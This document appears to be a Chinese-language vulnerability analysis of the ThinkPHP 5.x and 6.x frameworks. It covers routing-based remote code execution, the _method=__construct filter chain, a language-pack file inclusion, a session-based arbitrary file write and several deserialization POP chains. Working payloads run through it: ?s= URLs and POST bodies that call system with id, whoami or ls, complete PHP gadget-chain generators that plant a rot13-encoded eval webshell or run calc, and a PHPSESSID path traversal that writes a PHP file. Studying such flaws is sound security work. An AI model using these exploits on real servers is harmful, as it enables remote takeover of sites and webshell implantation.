5.0.23官方修复:添加了对控制器名的检查
在默认的情况下,可以使用路由兼容模式 s 参数,访问控制器内容
例如:
http://site/?s=模块/控制器/方法/参数/参数值
断点调试
http://127.0.0.1/?s=index/index/index
run()
在这个方法里调用了 routeCheck进行了路由检查
跟进
run()-->routeCheck()
到了这里,这个方法对s传入的控制器/方法/参数进行解析
这里用了/
对传入的字符串进行分割
分割后得到
解析完这个后返回到run()
调用了exec()
跟进
run()-->exec()
继续跟进
run()-->exec()-->module()
这里可以看到官方修改的部分
这里是根据刚刚那个划分出来的数组进行分别处理,[1]为控制器,[2]为操作名
后面的就是调用这个控制器对应的操作
整个过程下来,没有对控制器名进行任何检查,可以调用任意控制器的任意方法(已经加载的类)
下面的是可以利用的
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id #执行系统命令
5.1.0<=ThinkPHP<=5.1.30
测试环境5.1.30
5.1.31官方修复:
这个版本的和上面5.0.x版本漏洞是差不多的,也是没有对控制器名进行检查
调试
?s=index/index/index
run()方法先进行初始化,然后调用routeCheck()
跟进
run() --> routeCheck()
在这里获取到s传来的参数,即 模块/控制器/方法
然后调用check(),对路由进行处理
跟进
run() --> routeCheck() -->check()
在这里,路由的/
被替换成’|
,即变成index|index|index
来到think/route/dispatch/Module.php
run() --> init() -->init()
这里解析出控制器名和操作名
接下来就是实例化然后执行
think\route\dispatch\Module->exec()
整个过程中没有对控制器名进行检查,从而导致该漏洞
可利用的控制器:
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
远程代码执行(2)
5.0.0<=ThinkPHP5<=5.0.23 and 5.1.0<=ThinkPHP<=5.1.30
5.0.23分析
5.0.23版本对比5.0.24,官方修改了Request类,添加了对请求方法的检查
可以很明显的看出 $method
来自可控的 $_POST
数组,而且在获取之后没有进行任何检查,直接把它作为 Request
类的方法进行调用,同时,该方法传入的参数是可控数据 $_POST
。也就相当于可以随意调用 Request
类的部分方法。
这个method()方法在解析路由的过程中调用
调用栈如下
Request.php:507, think\Request->method()
Route.php:848, think\Route::check()
App.php:632, think\App::routeCheck()
App.php:116, think\App::run()
start.php:19, require()
index.php:17, {main}()
在method()方法中
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}
关键点在
Config::get('var_method')
是获取配置文件中的var_method
的值,
检查是否POST了参数_method
,然后获取POST来的_method的值,转成大写,然后将这个值当成函数去执行,该函数的参数是$_POST
也就是POST的所有数据
这里的下一个目标是,在这个类中找到一个可以利用的方法,而且是有参方法
这里找到的是__construct
protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}
// 保存 php://input
$this->input = file_get_contents('php://input');
}
这段代码很关键
这里会检查$this
对象或类是否具有$name
属性,如果有,将给这个属性赋值为$item
,这给后面利用带来许多操作空间
该类有许多属性,现在要利用哪个还不确定
protected $get protected static $instance;
protected $post protected $method;
protected $request protected $domain;
protected $route protected $url;
protected $put; protected $baseUrl;
protected $session protected $baseFile;
protected $file protected $root;
protected $cookie protected $pathinfo;
protected $server protected $path;
protected $header protected $routeInfo
protected $mimeType protected $env;
protected $content; protected $dispatch
protected $filter; protected $module;
protected static $hook protected $controller;
protected $bind protected $action;
protected $input; protected $langset;
protected $cache; protected $param
protected $isCheckCache;
如果框架在配置文件中开启了 debug
模式( 'app_debug'=> true
),程序会调用Request
类的 param
方法。这个方法我们需要特别关注了,因为 Request
类中的 param、route、get、post、put、delete、patch、request、session、server、env、cookie、input
方法均调用了 filterValue
方法,而该方法中就存在可利用的 call_user_func
函数。
跟进 param
方法。发现其调用 method
方法。其会调用 server方法
在 server 方法中把 $this->server传入了 input 方法 ,这个 $this->server的值,我们可以通过先前 Request类的 __construct
方法来覆盖赋值
可控数据作为 $data 传入 input 方法
跟进input
$data会被 filterValue 方法使用 $filter 过滤器处理。其中 $filter的值部分来自$this->filter ,又是可以通过先前Request 类的__construct
方法来覆盖赋值。
接下来就是 filterValue方法调用call_user_func处理数据的过程,代码执行就是发生在这里
所以再开启了Debug后的exp是:
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami
还有许多调用链,而且不同版本会有所不同,原理都是一样的
# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system
# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
反序列化
5.0.x
高版本(5.0.24)
控制器
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$c = unserialize($_GET['c']);
var_dump($c);
return 'Welcome to thinkphp5.0.24';
}
}
反序列化第一步,先找__destruct()
这里使用的是process/pipes/Windows.php的__destruct()
,它调用了自己的removeFiles()
方法
查看这个方法
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
这个$this->files是可以控制的,经过file_exists($filename)
可以触发__tostring()
,这里存在一个任意文删除
全局搜索__tostring()
这里选择的是Model.php里面的__tostring
方法
跟进其调用的toJson()
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
继续跟进$this->toArray()
,发现这里的可控参数比较多 (这部分有点懵逼)
这里可以找到一个触发__call
的地方
此时,需要控制$value
为一个带有__call
的类对象,往上查找,$value是来自这
其中,参数 $modelRelation = $this->$relation()
,实际上就是 think\Model
类任意方法的返回结果。这里选择返回结果简单可控的 getError
方法
public function getError()
{
return $this->error;
}
在getRelationData方法里,要进入第一个if语句才能赋值成想要的类
层层分析,要满足
$this->append = ['getError'];
$this->error = new HasOne();//Relation子类,且有getBindAttr()
$this->selfRelation = false;//isSelfRelation()
$this->query = new Query();
$this->parent = new xxx() //调用__call
全局搜索__call
这里选择的是console/Output.php的Output类
public function __call($method, $args)
{
if (in_array($method, $this->styles)) {
array_unshift($args, $method);
return call_user_func_array([$this, 'block'], $args);
}
if ($this->handle && method_exists($this->handle, $method)) {
return call_user_func_array([$this->handle, $method], $args);
} else {
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
}
这个方法调用了call_user_func_array
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入
在第一个call_user_func_array中调用了block方法
protected function block($style, $message)
{
$this->writeln("<{$style}>{$message}</$style>");
}
继续跟进writeln
public function writeln($messages, $type = self::OUTPUT_NORMAL)
{
$this->write($messages, true, $type);
}
继续跟进write
public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
{
$this->handle->write($messages, $newline, $type);
}
$this->handle可控,可以修改为某个类,执行这个类的write
全局搜索 write
方法进一步利用,跟进 thinkphp/library/think/session/driver/Memcached.php
public function write($sessID, $sessData)
{
return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']);
}
这个$this->handle也是可控的,
全局搜索set
方法,找到thinkphp/library/think/cache/driver/File.php
public function set($name, $value, $expire = null)
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
if ($expire instanceof \DateTime) {
$expire = $expire->getTimestamp() - time();
}
$filename = $this->getCacheKey($name, true);
if ($this->tag && !is_file($filename)) {
$first = true;
}
$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
} else {
return false;
}
}
这里存在一个php文件写入,虽然前面有exit()
避免后面的数据被执行,但是这里可以使用伪协议绕过
这里存在一个问题,只能控制文件名,写入为文件的数据来自$value
, 根据链子传参,$value= true ,是不可控的
而且在windows环境下,文件名存在限制
往下存在setTagItem调用,传参是文件名
跟进查看:
protected function setTagItem($name)
{
if ($this->tag) {
$key = 'tag_' . md5($this->tag);
$this->tag = null;
if ($this->has($key)) {
$value = explode(',', $this->get($key));
$value[] = $name;
$value = implode(',', array_unique($value));
} else {
$value = $name;
}
$this->set($key, $value, 0);
}
}
这个函数会再次调用set()方法,并且set方法的value是来自文件名$name,也就是说可以把前面的文件名写入到文件里
如果第一次调用set方法的时候把恶意代码写到文件名里,第二此调用set的时候就能够把文件名的内容写入到新的php文件里
最终POP链:
<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{
}
class Windows extends Pipes{
private $files = [];
function __construct(){
$this->files = [new Pivot()];
}
}
namespace think\model;#Relation
use think\db\Query;
abstract class Relation{
protected $selfRelation;
protected $query;
function __construct(){
$this->selfRelation = false;
$this->query = new Query();#class Query
}
}
namespace think\model\relation;#OneToOne HasOne
use think\model\Relation;
abstract class OneToOne extends Relation{
function __construct(){
parent::__construct();
}
}
class HasOne extends OneToOne{
protected $bindAttr = [];
function __construct(){
parent::__construct();
$this->bindAttr = ["no","123"];
}
}
namespace think\console;#Output
use think\session\driver\Memcached;
class Output{
private $handle = null;
protected $styles = [];
function __construct(){
$this->handle = new Memcached();//目的调用其write()
$this->styles = ['getAttr'];
}
}
namespace think;#Model
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model{
protected $append = [];
protected $error;
public $parent;#修改处
protected $selfRelation;
protected $query;
protected $aaaaa;
function __construct(){
$this->parent = new Output();#Output对象,目的是调用__call()
$this->append = ['getError'];
$this->error = new HasOne();//Relation子类,且有getBindAttr()
$this->selfRelation = false;//isSelfRelation()
$this->query = new Query();
}
}
namespace think\db;#Query
use think\console\Output;
class Query{
protected $model;
function __construct(){
$this->model = new Output();
}
}
namespace think\session\driver;#Memcached
use think\cache\driver\File;
class Memcached{
protected $handler = null;
function __construct(){
$this->handler = new File();//目的调用File->set()
}
}
namespace think\cache\driver;#File
class File{
protected $options = [];
protected $tag;
function __construct(){
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[q1ab])?>',
'data_compress' => false,
];
$this->tag = true;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
低版本 (5.0.3)
控制器
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$c = unserialize($_GET['c']);
var_dump($c);
return 'Welcome to thinkphp';
}
}
因为低版本的toArray()函数和高版本的有所不同,不存在调用__call()的条件,所以需要重新找一条链子
从__destruct
开始找,除了process/pipes/Windows.php
外还有3个可以选,但是只有一条是可利用的 Process.php
这里调用了stop()
方法,跟进查看
public function stop()
{
if ($this->isRunning()) {
if ('\\' === DS && !$this->isSigchildEnabled()) {
exec(sprintf('taskkill /F /T /PID %d 2>&1', $this->getPid()), $output, $exitCode);
if ($exitCode > 0) {
throw new \RuntimeException('Unable to kill the process');
}
} else {
$pids = preg_split('/\s+/', `ps -o pid --no-heading --ppid {$this->getPid()}`);
foreach ($pids as $pid) {
if (is_numeric($pid)) {
posix_kill($pid, 9);
}
}
}
}
$this->updateStatus(false);
if ($this->processInformation['running']) {
$this->close();
}
return $this->exitcode;
}
跟进isRunning()
public function isRunning()
{
if (self::STATUS_STARTED !== $this->status) {
return false;
}
$this->updateStatus(false);
return $this->processInformation['running'];
}
里面会调用一个updateStatus方法,并且$this->status可控,可以让程序走到这
跟进查看
protected function updateStatus($blocking)
{
if (self::STATUS_STARTED !== $this->status) {
return;
}
$this->processInformation = proc_get_status($this->process);
$this->captureExitCode();
$this->readPipes($blocking, '\\' === DS ? !$this->processInformation['running'] : true);
if (!$this->processInformation['running']) {
$this->close();
}
}
后面的$this->close()是可以利用的,第一行就可以触发__call
但是程序走不到这里,当运行proc_get_status
的时候就会报错退出了
这里的close()是不能利用了
在上面的 stop()方法中,后面就自带了 close()
,利用这个就行,只需:
$this->processInformation['running']=true;
$this->status=3;//只有不相等就行
跟进close()
这里触发__call(),需要控制$this->processPipes
尝试直接触发think\console\Output类中的__call魔术方法。由于block方法需要2个参数
需要找到另外一个__call方法
最终找到model/Relation.php
这个文件下的__call
public function __call($method, $args)
{
if ($this->query) {
switch ($this->type) {
case self::HAS_MANY:
if (isset($this->where)) {
$this->query->where($this->where);
} elseif (isset($this->parent->{$this->localKey})) {
// 关联查询带入关联条件
$this->query->where($this->foreignKey, $this->parent->{$this->localKey});
}
break;
case self::HAS_MANY_THROUGH:
$through = $this->middle;
$model = $this->model;
$alias = Loader::parseName(basename(str_replace('\\', '/', $model)));
$throughTable = $through::getTable();
$pk = (new $this->model)->getPk();
$throughKey = $this->throughKey;
$modelTable = $this->parent->getTable();
$this->query->field($alias . '.*')->alias($alias)
->join($throughTable, $throughTable . '.' . $pk . '=' . $alias . '.' . $throughKey)
->join($modelTable, $modelTable . '.' . $this->localKey . '=' . $throughTable . '.' . $this->foreignKey)
->where($throughTable . '.' . $this->foreignKey, $this->parent->{$this->localKey});
break;
case self::BELONGS_TO_MANY:
// TODO
}
$result = call_user_func_array([$this->query, $method], $args);
if ($result instanceof \think\db\Query) {
$this->option = $result->getOptions();
return $this;
} else {
$this->option = [];
return $result;
}
} else {
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
}
这个__call就非常的好用,query和type和where都可以控制
这里就可以构造,调用上面Output类的__call()方法了
class Relation
{
protected $query;
const HAS_ONE = 1;
const HAS_MANY = 2;
const HAS_MANY_THROUGH = 5;
const BELONGS_TO = 3;
const BELONGS_TO_MANY = 4;
protected $type=2;
protected $where=1;
public function __construct()
{
$this->query=new Output();
}
}
跟进Output
中的__call
进行跟进
__call-->block-->writeln-->write-->
public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
{
$this->handle->write($messages, $newline, $type);
}
通过这里可以调用任意类的write方法,
这里找到两个一样的,都调用了set方法
//session/driver/Memcache.php
public function write($sessID, $sessData)
{
return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']);
}
//session/driver/Memcached.php
public function write($sessID, $sessData)
{
return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']);
}
最后选择了session/driver/Memcached.php
全局搜索set方法,和高版本的一样,使用cache/driver/File.php这里的set,
后面的操作是和高版本的相同的,调用了两次set方法,然后第二次调用的时候吧恶意代码存进php文件里
注意:因为windows对文件名存在限制,这个pop链只能在linux环境使用
<?php
namespace think;
class Process
{
private $processPipes;
private $status;
private $processInformation;
public function __construct(){
$this->processInformation['running']=true;
$this->status=3;
$this->processPipes=new \think\model\Relation();
}
}
namespace think\model;
use think\console\Output;
class Relation
{
protected $query;
const HAS_ONE = 1;
const HAS_MANY = 2;
const HAS_MANY_THROUGH = 5;
const BELONGS_TO = 3;
const BELONGS_TO_MANY = 4;
protected $type=2;
protected $where=1;
public function __construct()
{
$this->query=new Output();
}
}
namespace think\console;
use think\session\driver\Memcached;
class Output{
protected $styles = [
'info',
'error',
'comment',
'question',
'highlight',
'warning',
'getTable',
'where'
];
private $handle;
public function __construct()
{
// $this->handle = (new \think\session\driver\Memcache);
$this->handle = new Memcached();//目的调用其write()
// $this->styles = ['getAttr'];
}
}
namespace think\session\driver;#Memcached
use think\cache\driver\File;
class Memcached{
protected $tag;
protected $handler;
public function __construct()
{
$this->tag = true;
$this->handler = (new File);
}
}
namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver
{
protected $tag;
protected $options;
public function __construct()
{
$this->tag = false;
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[q1ab])?>',
'data_compress' => false,
];
$this->tag = true;
}
}
namespace think\cache;
abstract class Driver
{
}
use think\Process;
$a=new Process();
echo urlencode(serialize($a));
5.1.x
5.1.30
public function index()
{
$c = unserialize($_GET['c']);
var_dump($c);
return 'Welcome to thinkphp';
}
全局搜索__destruct , 这里使用的是think/process/pipes/Windows.php的
public function __destruct()
{
$this->close();
$this->removeFiles();
}
跟进removeFiles()
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
这里存在一个任意文删除,因为$this->files可控,还可以触发__toString
全局搜索__toString
存在13个结果,但是这里使用的是think/model/concern/Conversion.php
的__toString
方法
public function __toString()
{
return $this->toJson();
}
到这里先构造部分POP链
namespace think\process\pipes;
use think\model\concern\Conversion;
class Windows extends Pipes
{
private $files=[];
public function __construct()
{
$this->files=[xxx];//
}
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
这里的xxx是只向Conversion.php
的__toString
方法所在的类Conversion
由于convertion
是trait
类,Trait是一种代码复用机制,它允许在不同类之间共享方法的代码块
所以只要找到一个使用了conversion的类即可,全局搜索conversion只找到Model类
由于Model是抽象类,我们得找到Model
的实现类,全局搜索extends Model
找到Pivot
所以exp要这样写
namespace think\process\pipes;
abstract class Pipes
{
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows extends Pipes
{
private $files=[];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think;
abstract class Model
{
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
回到__toString
跟进这个toJson()
方法
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
跟进toArray()
在这里可以看到有许多参数都是可控的,例如$this->data,$this->relation,$this->visible,$this->append
这里能够使用的是getAttr()
方法
先查看这个方法:
这个$closure是可控的,可以用来调用任意函数,其参数$value,是由上一层传来的参数控制,也可控
这个$key来自$this->data
,
所以只是需要如下构造,即可实现system(‘calc’)
protected $append = ['a'=>[]];
private $withAttr = [];
private $data = [];
public function __construct($data = [])
{
$this->withAttr=['b'=>'system'];
$this->data=['b'=>'calc'];
}
最终的调用栈
Attribute.php:511, think\Model->getAttr()
Conversion.php:161, think\Model->toArray()
Conversion.php:209, think\Model->toJson()
Conversion.php:225, think\Model->__toString()
Windows.php:163, file_exists()
Windows.php:163, think\process\pipes\Windows->removeFiles()
Windows.php:59, think\process\pipes\Windows->__destruct()
Container.php:395, app\index\controller\Index->index()
Container.php:395, ReflectionMethod->invokeArgs()
Container.php:395, think\Container->invokeReflectMethod()
Module.php:135, think\route\dispatch\Module->think\route\dispatch\{closure}()
Middleware.php:185, call_user_func_array:{D:\phpstudy_pro\WWW\thinkphp-5.1.30\thinkphp\library\think\Middleware.php:185}()
Middleware.php:185, think\Middleware->think\{closure}()
Middleware.php:130, call_user_func:{D:\phpstudy_pro\WWW\thinkphp-5.1.30\thinkphp\library\think\Middleware.php:130}()
Middleware.php:130, think\Middleware->dispatch()
Module.php:140, think\route\dispatch\Module->exec()
Dispatch.php:168, think\route\Dispatch->run()
App.php:432, think\App->think\{closure}()
Middleware.php:185, call_user_func_array:{D:\phpstudy_pro\WWW\thinkphp-5.1.30\thinkphp\library\think\Middleware.php:185}()
Middleware.php:185, think\Middleware->think\{closure}()
Middleware.php:130, call_user_func:{D:\phpstudy_pro\WWW\thinkphp-5.1.30\thinkphp\library\think\Middleware.php:130}()
Middleware.php:130, think\Middleware->dispatch()
App.php:435, think\App->run()
index.php:21, {main}()
POP链
<?php
namespace think\process\pipes;
abstract class Pipes
{
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows extends Pipes
{
private $files=[];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think;
abstract class Model
{
protected $append = ['a'=>[]];
private $withAttr = [];
private $data = [];
public function __construct($data = [])
{
$this->withAttr=['b'=>'system'];
$this->data=['b'=>'calc'];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
5.2.x
(无测试环境,暂时PASS)
ThinkPHP 6.x
任意php文件包含(6.0.1~6.0.13,5.0.x,5.1.x)
漏洞描述:
如果 Thinkphp 程序开启了多语言功能,那就可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含
和6.0.14版本比较,发现官方删除了Lang.php的detect函数
LoadLangPack.php的detect函数也有修改
分析这个detect()
这个函数首先是从http请求中的三个地方获取数据,然后转成小写字母保存到$langSet中
然后如果满足if条件,就将$langSet
保存到range中返回
全局查找detect()的引用,找到了Lang.php的handle函数,正是加载语言包的地方
查看handle()
public function handle($request, Closure $next)
{
// 自动侦测当前语言
$langset = $this->lang->detect($request);
if ($this->lang->defaultLangSet() != $langset) {
// 加载系统语言包
$this->lang->load([
$this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php',
]);
$this->app->LoadLangPack($langset);
}
$this->lang->saveToCookie($this->app->cookie);
return $next($request);
}
在函数第一条代码中,就调用了,detect()方法
环境搭建
搭建环境,传参调试一下:
开启开启多语言功能:
http://127.0.0.1/?lang=../../../../../public/test
在handle函数下断点
跟进detect()
这里从get方法中获取值,保存到了langSet
往下,因为默认情况下allow_lang_list是空的,进入if语句
返会handle()
然后加载语言包
这里出现一个目录拼接,$this->app->getThinkPath()
是获取TP核心框架目录,
拼接结果:
...\topthink\framework\src\lang\../../../../../public/test.php
最终会加载public目录下的test.php
结果:
任意文件写(6.0.0,6.0.1)
环境:tp6.0.1
控制器:
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
session('demo', $_GET['demo']);
return 'ThinkPHP V6.0.1';
}
public function hello($name = 'ThinkPHP6')
{
return 'hello,' . $name;
}
}
修改 /app/middleware.php 文件如下,开启Session功能
<?php
// 全局中间件定义文件
return [
// 全局请求缓存
// \think\middleware\CheckRequestCache::class,
// 多语言加载
// \think\middleware\LoadLangPack::class,
// Session初始化
\think\middleware\SessionInit::class
];
对比6.0.1和6.0.2,官方修改了sessionid
的检查,添加了ctype_alnum 函数验证$id只能是字母和数字或字母数字的组合
漏洞具体流程如下:
?demo=AAAAA
当程序初始化的时候,会对seess进行初始化
然后会调用getName()
获取cookie中PHPSESSID
的值,里面调用了setId()
如果不存在PHPSESSID,或者不满足条件,则重新生成一个32位的PHPSESSID
, 如果满足条件则不管
调用栈如下:
Store.php:121, think\session\Store->setId()
Store.php:61, think\session\Store->__construct()
Session.php:31, think\Session->createDriver()
Manager.php:65, think\Manager->getDriver()
Manager.php:55, think\Manager->driver()
Manager.php:174, think\Manager->__call()
SessionInit.php:50, think\Manager->getName()
SessionInit.php:50, think\middleware\SessionInit->handle()
Middleware.php:142, call_user_func:{D:\phpstudy_pro\WWW\thinkphp-6.0.1\vendor\topthink\framework\src\think\Middleware.php:142}()
Middleware.php:142, think\Middleware->think\{closure:D:\phpstudy_pro\WWW\thinkphp-6.0.1\vendor\topthink\framework\src\think\Middleware.php:137-148}()
Pipeline.php:84, think\Pipeline->think\{closure:D:\phpstudy_pro\WWW\thinkphp-6.0.1\vendor\topthink\framework\src\think\Pipeline.php:82-88}()
Pipeline.php:65, think\Pipeline->then()
Http.php:204, think\Http->runWithRequest()
Http.php:162, think\Http->run()
index.php:20, {main}()
返回handle()
发现后面会再次取出PHPSESSID的值传给setId
进行检查
后面的过程就是发送给客户端
当程序结束的时候,会执行中间件
里面会调用Sessioninit.php的end方法
public function end(Response $response)
{
$this->session->save();
}
往下会执行,调用栈如下:
Store.php:263, think\session\Store->save()
Manager.php:174, think\Manager->__call()
SessionInit.php:78, think\Manager->save()
SessionInit.php:78, think\middleware\SessionInit->end()
Middleware.php:165, think\Middleware->end()
Http.php:279, think\Http->end()
index.php:24, {main}()
在这里存在一个日志写入的操作
public function save(): void
{
$this->clearFlashData();
$sessionId = $this->getId();
if (!empty($this->data)) {
$data = $this->serialize($this->data);
$this->handler->write($sessionId, $data);
} else {
$this->handler->delete($sessionId);
}
$this->init = false;
}
跟进write()
public function write(string $sessID, string $sessData): bool
{
$filename = $this->getFileName($sessID, true);
$data = $sessData;
if ($this->config['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
return $this->writeFile($filename, $data);
}
跟进getFileName
查看文件名生成规则,
简而言之,就是
日志路径/文件名
文件名 = sess_ + PHPSSID的值
返回后,获取$data
, 这个$data是序列化后的session值
然后将这两个值传给writeFile
方法
跟进
protected function writeFile($path, $content): bool
{
return (bool) file_put_contents($path, $content, LOCK_EX);
}
这里是调用了file_put_contents
进行文件写入
$path, $content都是可以控制的, $content就是序列化后session的内容,$path就是sess_ + PHPSSID的值
$path这里可以通过目录穿越写入任意文件,但是需要满足setId
的检查,长度必须要32位
public function setId($id = null): void
{
$this->id = is_string($id) && strlen($id) === 32 ? $id : md5(microtime(true) . session_create_id());
}
所以构造POC如下:
http://127.0.0.1/?demo=<?php phpinfo();?>
Cookie: PHPSESSID=/../../../public/11111111111.php
反序列 (6.0.15)
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
$u = unserialize($_GET['c']);
return 'ThinkPHP V6.x';
}
}
全局搜索__destruct(),发现TP6移除了TP5反序列化中的think/process/pipes/Windows.php
入口
尝试寻找其他入口,查看vendor/topthink/think-orm/src/Model.php
这个
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}
这个$this->lazySave可控,可以进入$this->save()
跟进save()
public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
if (false === $result) {
return false;
}
// 写入回调
$this->trigger('AfterWrite');
// 重新记录原始数据
$this->origin = $this->data;
$this->get = [];
$this->lazySave = false;
return true;
}
这可以控制$this->exists使得函数调用$this->updateData()
跟进$this->updateData()
跟进checkAllowFields()
跟进db()
这里存在一个字符串拼接可以触发任意类的__toString
这里后面就可以使用TP5.1.x
后半段的链子了
全局搜索__toString
找到vendor/topthink/think-orm/src/model/concern/Conversion.php
public function __toString()
{
return $this->toJson();
}
跟进toJson()
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
return json_encode($this->toArray(), $options);
}
跟进toArray()
这个方法里面调用 了getAtter
跟进:
public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = $this->isRelationAttr($name);
$value = null;
}
return $this->getValue($name, $value, $relation);
}
最后调用了getValue
跟进
这个$closure是可控的,可以用来调用任意函数比如system(),其参数$value,是由上一层传来的参数控制,也可控
链子到这里结束
POC:
<?php
namespace think;
abstract class Model
{
private $lazySave;
protected $suffix;
private $data;
private $withAttr;
function __construct($obj = '')
{
$this->lazySave = true;
$this->suffix =$obj;
$this->withAttr=['b'=>'system'];
$this->data=['b'=>'calc'];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));
写在后面:
上面最后执行的方法在:
vendor/topthink/think-orm/src/model/concern/Attribute.php
在TP6后这里已经修复了:
总结
反序列化__destruct
入口就那4-5个,常用的是这两个think/process/pipes/Windows.php
和thinkphp/library/think/Process.php
上面提到的几条利用链,可以小记一下,但是vendor/topthink/think-orm/src/model/concern/Attribute.php
的getValue
方法在TP6里面不能用了,需要寻找其他利用方法
Request.php中很多方法调用了filterValue
,而该方法中就存在可利用的 call_user_func
函数,反序列化结尾的利用可以考虑这里
php能代码执行的函数
//App.php
//传参 :call_user_func_array&vars[0]=system&vars[1][]=calc
public static function invokeFunction($function, $vars = [])
{
$reflect = new \ReflectionFunction($function);
$args = self::bindParams($reflect, $vars);
// 记录执行信息
self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
return $reflect->invokeArgs($args);
}
//think/Request.php
//传参: filter[]=system&data=calc
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}
$data = $this->getData($data, $name);
if (is_null($data)) {
return $default;
}
if (is_object($data)) {
return $data;
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}
//think/view/driver/Php.php
//传参: content=<?php phpinfo();?>
public function display($content, $data = [])
{
$this->content = $content;
extract($data, EXTR_OVERWRITE);
eval('?>' . $this->content);
}
写shell:
//think/template/driver/File.php
